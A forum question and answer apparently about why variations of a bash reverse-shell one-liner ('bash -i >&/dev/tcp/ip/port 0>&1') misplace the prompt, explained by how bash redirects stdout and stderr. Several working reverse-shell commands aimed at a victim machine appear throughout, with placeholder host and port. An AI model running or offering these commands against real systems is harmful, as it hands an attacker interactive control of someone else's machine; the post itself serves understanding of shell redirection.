linuxbashshellreverse-shell

Bash reverse shell strange behavior


I tried today to understand as much as I could a command (found here) to open a reverse shell on the victim side. Here is it:

bash -i >&/dev/tcp/ip/port 0>&1

However, I didn't completely get why the first redirection is >&. I understood that /dev/tcp/ip/port is a "pseudo" file created by bash, but I didn't find the information if it has to be treated as a real file or as a file descriptor. Therefore, I tried to treat it like a real file and rewrote the bash command like this :

bash -i >/dev/tcp/ip/port 0>&1

In this case, a strange behavior happen: the reverse shell is working as expected (I can type some command on the attacker side and get the output on the attacker side too), except for one output : the bash command prompt text. So the only thing that is not printed on the attacker side but on the victim side is :

bash-4.4$

Everything else is printed as expected, i.e on the attacker side.

The last test I tried is to change the bash command like this :

bash -i >/dev/tcp/ip/port <&1

Indeed, after reading the man page of bash, it made more sense to me to use the < redirection, as as it's stated on the man page, this opens the file descriptor 1 for reading on file descriptor 0. Here, the same problem as the second command arises (everything is printed on the attacker except the bash command prompt bash-4.4$).

I also noted that redirecting stderr like :

bash -i >/dev/tcp/ip/port 2>&2 <&1

solves the problem, as if bash-4.4$ was printed on stderr...

I thus have four questions for which I cannot find an answer :

  1. Should /dev/tcp and /dev/udp be treated as file or directly as file descriptor ? Which is equivalent to asking : should we write echo "hello" >/dev/tcp/ip/port or echo "hello" >&/dev/tcp/ip/port ?
  2. Why does the author used 0>&1 to change stdin instead of <&1, and how is it possible that it works in the first version of the command ?
  3. Why is this strange behavior happening with the second and third command ? How is it possible that only part of the output is redirected ? In my point of view it should either redirect everything or nothing.
  4. Why does redirecting stderr in the last command solves the problem ? This is not done on the first command (the original one of the author) but it still works..

Thank you very much in advance for your answers ! I hope I made this post as clear as possible.


Solution

    1. A file descriptor in bash is a number, i. e. one or more digits, so /dev/… is definitely not a file descriptor. You were mislead by the special construct >&, which unless followed by a number is not the redirection operator for duplicating an output file descriptor, but the unpreferred format for redirecting standard output and standard error.

    2. Why the author used 0>&1 to change stdin instead of <&1, only he (or someone who can read his mind) can tell; I agree with you that it makes more sense to use the < redirection. Both versions work because &1 refers to /dev/tcp/ip/port, which can be read from as well as written to.

    3. The behavior is not strange at all, since, as you already wrote, the prompt is printed on stderr.

    4. Well, redirecting stderr is done on the first command by >&.